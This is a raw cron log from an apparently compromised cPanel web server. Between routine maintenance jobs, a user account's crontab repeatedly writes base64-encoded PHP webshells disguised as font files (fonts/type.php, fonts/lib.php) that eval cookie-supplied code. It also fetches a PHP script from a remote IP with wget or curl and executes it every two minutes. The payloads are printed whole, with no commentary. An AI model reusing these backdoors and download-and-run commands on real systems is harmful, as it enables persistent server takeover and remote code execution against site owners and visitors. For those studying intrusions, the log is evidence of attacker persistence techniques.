Sep  3 02:45:01 ip-184-168-122-23 CROND[19093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:45:01 ip-184-168-122-23 CROND[19095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:45:01 ip-184-168-122-23 CROND[19094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:45:01 ip-184-168-122-23 CROND[19097]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:45:01 ip-184-168-122-23 CROND[19096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:46:02 ip-184-168-122-23 CROND[19202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:46:02 ip-184-168-122-23 CROND[19204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 02:46:02 ip-184-168-122-23 CROND[19208]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 02:46:02 ip-184-168-122-23 CROND[19206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:46:02 ip-184-168-122-23 CROND[19205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:46:02 ip-184-168-122-23 CROND[19207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:46:02 ip-184-168-122-23 CROND[19209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:47:01 ip-184-168-122-23 CROND[19397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:47:01 ip-184-168-122-23 CROND[19399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:47:01 ip-184-168-122-23 CROND[19400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:47:01 ip-184-168-122-23 CROND[19402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:48:01 ip-184-168-122-23 CROND[19477]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:48:01 ip-184-168-122-23 CROND[19479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:48:01 ip-184-168-122-23 CROND[19483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:48:01 ip-184-168-122-23 CROND[19480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:48:01 ip-184-168-122-23 CROND[19482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:49:01 ip-184-168-122-23 CROND[19565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:49:01 ip-184-168-122-23 CROND[19566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:49:01 ip-184-168-122-23 CROND[19567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:49:01 ip-184-168-122-23 CROND[19568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19678]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19676]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:50:01 ip-184-168-122-23 CROND[19685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19695]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  3 02:50:01 ip-184-168-122-23 CROND[19696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:51:01 ip-184-168-122-23 CROND[19782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:51:01 ip-184-168-122-23 CROND[19783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:51:01 ip-184-168-122-23 CROND[19784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:51:01 ip-184-168-122-23 CROND[19785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:52:01 ip-184-168-122-23 CROND[19963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:52:01 ip-184-168-122-23 CROND[19964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:52:01 ip-184-168-122-23 CROND[19966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:52:01 ip-184-168-122-23 CROND[19965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:52:01 ip-184-168-122-23 CROND[19967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:53:01 ip-184-168-122-23 CROND[20056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:53:01 ip-184-168-122-23 CROND[20057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:53:01 ip-184-168-122-23 CROND[20059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:53:01 ip-184-168-122-23 CROND[20058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:54:01 ip-184-168-122-23 CROND[20140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:54:01 ip-184-168-122-23 CROND[20142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:54:01 ip-184-168-122-23 CROND[20143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:54:01 ip-184-168-122-23 CROND[20144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:54:01 ip-184-168-122-23 CROND[20145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:55:01 ip-184-168-122-23 CROND[20245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:55:01 ip-184-168-122-23 CROND[20247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:55:01 ip-184-168-122-23 CROND[20249]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:55:01 ip-184-168-122-23 CROND[20248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:55:01 ip-184-168-122-23 CROND[20251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:55:01 ip-184-168-122-23 CROND[20250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:56:01 ip-184-168-122-23 CROND[20342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:56:01 ip-184-168-122-23 CROND[20343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:56:01 ip-184-168-122-23 CROND[20344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:56:01 ip-184-168-122-23 CROND[20346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:56:01 ip-184-168-122-23 CROND[20347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:57:01 ip-184-168-122-23 CROND[20509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:57:01 ip-184-168-122-23 CROND[20512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
